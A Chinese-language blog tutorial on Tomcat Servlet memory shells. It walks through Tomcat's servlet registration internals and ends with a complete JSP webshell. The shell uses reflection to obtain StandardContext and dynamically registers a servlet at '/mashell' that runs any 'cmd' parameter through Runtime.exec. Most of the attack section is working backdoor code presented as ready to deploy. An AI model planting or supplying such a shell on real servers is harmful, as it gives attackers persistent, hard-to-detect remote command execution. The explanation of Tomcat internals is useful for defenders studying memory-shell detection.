前言
今天,学习一下Tomcat Servlet内存马,要完成Servlet内存马,就如同把大象装进冰箱一样,分为三步:1、打开冰箱门 2、把大象装进去 3、关闭冰箱门
所以我们就思考要完成如下操作:
1、 写一个马
2、注册进Servlet
Tomcat Servlet机制
如何注册Servlet
在平时,我们通常使用注解**@WebServlet**来进行注册,如IDEA默认生成的的Servlet
如果删掉注解,通过web.xml进行注册的
通过这样的方式,也是能解析的
那么我们就思考,这个Servlet是如何被解析到Tomcat里的
流程图
图片来源:https://blog.csdn.net/u010883443/article/details/107463782
通过上图,我们可以知道
大概是在这个地方解析的
分析
上图是先到Context的,这里Maven导入一下Tomcat,下载一下源码
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.81</version> </dependency>
|
全局搜索configureContext,来到这里,这里就是解析完XMl之后的操作
断点下在这里,看看初始化时候都干了些什么
首先调用创建了wrapper,然后调用set方法配置wrapper相关的属性,我们可以参考web.xml中需要配置的属性来推测wrapper的关键属性
接着继续配置wrapper的servletClass,配置完成之后会将wrapper放入StandardContext的child里:
然后遍历web.xml中servlet-mapping的servlet-name和对应的url-pattern,调用StandardContext.addServletMappingDecoded()
添加servlet对应的映射。
总结
总结一下,Servlet的初始化一共有几个步骤:
- 通过 context.createWapper() 创建 Wapper 对象
- 设置 Servlet 的 LoadOnStartUp 的值(后续分析为什么动态注册Servlet需要设置该属性)
- 设置 Servlet 的 Name
- 设置 Servlet 对应的 Class
- 将 Servlet 添加到 context 的 children 中
- 将 url 路径和 servlet 类做映射
自写马
第一步:写个马
第一部很简单,就写个马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <%! public class Ma extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } } } public void destroy() { } } %>
|
第二步:动态注册进Tomcat
首先获取到StadndrdContext
获取到后就照着之前分析的Servlet创建流程写就可以了,
最终代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %><%-- Created by IntelliJ IDEA. User: georg Date: 2025/1/4 Time: 00:42 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Test</title> </head> <body> <%! public class Ma extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } }
} public void destroy() { } } %>
<% ServletContext servletContext = request.getServletContext(); Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext context = (ApplicationContext) contextField.get(servletContext);
Field standardContextField = context.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(context);
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("Ma"); wrapper.setServletClass("Ma.Class.getName()"); wrapper.setServlet(new Ma());
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/mashell", "Ma");
%> </body> </html>
|
测试
先访问ma.jsp,而后访问注入的路径。
执行代码~
参考资料
白日梦组长
Longlone’s Blog
Tomcat流程分析